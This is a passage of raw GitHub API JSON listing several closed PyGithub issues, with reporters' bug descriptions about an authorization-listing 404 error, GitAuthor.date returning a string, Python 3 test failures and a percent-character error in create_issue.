v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi!\r\nI think I've found a bug. I successfully created an API authorization with some scopes. In the program I want to use this autorization in, I'm trying to verify the correct scopes before proceeding, but this does not work as expected. From iPython:\r\n\r\n``` python\r\nfrom github import Github\r\nuser = Github(some_token).get_user()\r\nauths=user.get_authorizations()\r\nauths\r\nOut[5]: \r\nfor a in auths:\r\n print a.note\r\n---------------------------------------------------------------------------\r\nGithubException Traceback (most recent call last)\r\n in ()\r\n----> 1 for a in auths:\r\n 2 print a.note\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/PaginatedList.pyc in __iter__(self)\r\n 33 yield element\r\n 34 while self._couldGrow():\r\n---> 35 newElements = self.__grow()\r\n 36 for element in newElements:\r\n 37 yield element\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/PaginatedList.pyc in __grow(self)\r\n 45 \r\n 46 def __grow(self):\r\n---> 47 newElements = self._fetchNextPage()\r\n 48 self.__elements += newElements\r\n 49 return newElements\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/PaginatedList.pyc in _fetchNextPage(self)\r\n 83 \r\n 84 def _fetchNextPage(self):\r\n---> 85 headers, data = self.__requester.requestAndCheck(\"GET\", self.__nextUrl, self.__nextParams, None)\r\n 86 \r\n 87 links = self.__parseLinkHeader(headers)\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/Requester.pyc in requestAndCheck(self, verb, url, parameters, input)\r\n 78 output = self.__structuredFromJson(output)\r\n 79 if status >= 400:\r\n---> 80 raise GithubException.GithubException(status, output)\r\n 81 return headers, output\r\n 82 \r\n\r\nGithubException: 404 {u'message': u'Not Found'}\r\n```\r\n\r\nis this a bug or am I doing something wrong/impossible. \r\n\r\nbtw, when creating a github instance with an authorization token, this does not error out when the token is invalid, i.e. I can say `Github(\"mySillyString\")` without error message - is this by design?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54/events","html_url":"https://github.com/jacquev6/PyGithub/issues/54","id":5387373,"number":54,"title":"GitAuthor.date should return datetime, not string","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7/labels","id":140183,"number":7,"title":"Version 1.3","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-07-03T07:32:39Z","updated_at":"2012-07-13T20:01:15Z","due_on":"2012-07-16T07:00:00Z"},"comments":12,"created_at":"2012-07-02T14:38:01Z","updated_at":"2012-07-18T09:21:16Z","closed_at":"2012-07-13T19:21:04Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi!\n\nIt's great that all date-like objects are datetime.datetime now, makes working with it so easy. However, I think you missed GitAuthor.date, it would be great if this would also return datetimes.\n\nBackground: To get the dates of tags, I did `MyTag.commit.commit.committer.date`, and expected this to return a datetime object (like all the others do), but it returns a string."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149/events","html_url":"https://github.com/jacquev6/PyGithub/issues/149","id":12179668,"number":149,"title":"Test failures with python3","user":{"login":"bkabrda","id":1050061,"avatar_url":"https://secure.gravatar.com/avatar/60d06f7560160f3ce7aa3877596da63f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"60d06f7560160f3ce7aa3877596da63f","url":"https://api.github.com/users/bkabrda","html_url":"https://github.com/bkabrda","followers_url":"https://api.github.com/users/bkabrda/followers","following_url":"https://api.github.com/users/bkabrda/following{/other_user}","gists_url":"https://api.github.com/users/bkabrda/gists{/gist_id}","starred_url":"https://api.github.com/users/bkabrda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bkabrda/subscriptions","organizations_url":"https://api.github.com/users/bkabrda/orgs","repos_url":"https://api.github.com/users/bkabrda/repos","events_url":"https://api.github.com/users/bkabrda/events{/privacy}","received_events_url":"https://api.github.com/users/bkabrda/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":12,"created_at":"2013-03-19T13:25:29Z","updated_at":"2013-03-22T07:04:32Z","closed_at":"2013-03-21T23:34:58Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi,\r\nI'm experiencing dozens of failures with Python 3. Is this expected or is something wrong on my side? It seems that some of the failures are connected with random order of dict items in str(headers) in ReplayingConnection.request, but there are also other."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87/events","html_url":"https://github.com/jacquev6/PyGithub/issues/87","id":6911794,"number":87,"title":"Repository.create_issue() fails on percent '%' character","user":{"login":"quixotique","id":1477470,"avatar_url":"https://secure.gravatar.com/avatar/806d200fb8f92bd618cc7063a3b62013?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"806d200fb8f92bd618cc7063a3b62013","url":"https://api.github.com/users/quixotique","html_url":"https://github.com/quixotique","followers_url":"https://api.github.com/users/quixotique/followers","following_url":"https://api.github.com/users/quixotique/following{/other_user}","gists_url":"https://api.github.com/users/quixotique/gists{/gist_id}","starred_url":"https://api.github.com/users/quixotique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quixotique/subscriptions","organizations_url":"https://api.github.com/users/quixotique/orgs","repos_url":"https://api.github.com/users/quixotique/repos","events_url":"https://api.github.com/users/quixotique/events{/privacy}","received_events_url":"https://api.github.com/users/quixotique/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13/labels","id":174087,"number":13,"title":"Version 1.8.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2012-09-12T19:53:14Z","updated_at":"2012-09-30T18:12:03Z","due_on":"2012-09-30T07:00:00Z"},"comments":13,"created_at":"2012-09-17T07:17:56Z","updated_at":"2012-10-05T15:10:36Z","closed_at":"2012-09-25T19:56:32Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"If the **title** or **body** parameter of `Repository.create_issue()` contains a percent character `%` then it provokes a 500 error from 